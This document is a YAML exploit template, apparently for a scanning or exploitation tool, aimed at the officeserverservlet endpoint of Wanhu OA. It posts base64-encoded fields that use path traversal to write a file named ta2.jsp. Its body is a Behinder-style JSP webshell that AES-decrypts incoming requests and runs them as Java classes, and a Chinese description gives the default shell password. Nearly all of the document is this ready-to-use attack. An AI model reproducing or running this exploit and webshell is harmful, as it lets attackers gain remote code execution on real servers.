35 lines
1.4 KiB
YAML
35 lines
1.4 KiB
YAML
method: POST
|
||
url: $
|
||
tlsversion: HTTP/1.1
|
||
uri: /defaultroot/officeserverservlet
|
||
param:
|
||
data: |
|
||
DBSTEP V3.0 185 0 611
|
||
DBSTEP=REJTVEVQ
|
||
OPTION=U0FWRUZJTEU=
|
||
RECORDID=
|
||
firstFilesize=dHJ1ZQ==
|
||
isDoc=dHJ1ZQ==
|
||
moduleType=aW5mb3JtYXRpb24=
|
||
FILETYPE=Ly4uLy4uL3B1YmxpYy9lZGl0L3RhMi5qc3A=
|
||
isViewOld=MQ==
|
||
|
||
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
|
||
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
|
||
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);
|
||
Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
|
||
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
|
||
others:
|
||
User-Agent: Go-http-client/1.1
|
||
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: 'zh-CN,zh;q=0.9,en;q=0.8'
|
||
Connection: close
|
||
Upgrade-Insecure-Requests: 1
|
||
Content-Length: 790
|
||
condition:
|
||
words: DBSTEP
|
||
time:
|
||
expinformation:
|
||
expname: 万户getshell
|
||
expdescribe: 万户getshell，可能需要代理模式下进行使用，默认冰蝎马，密码为rebeyond |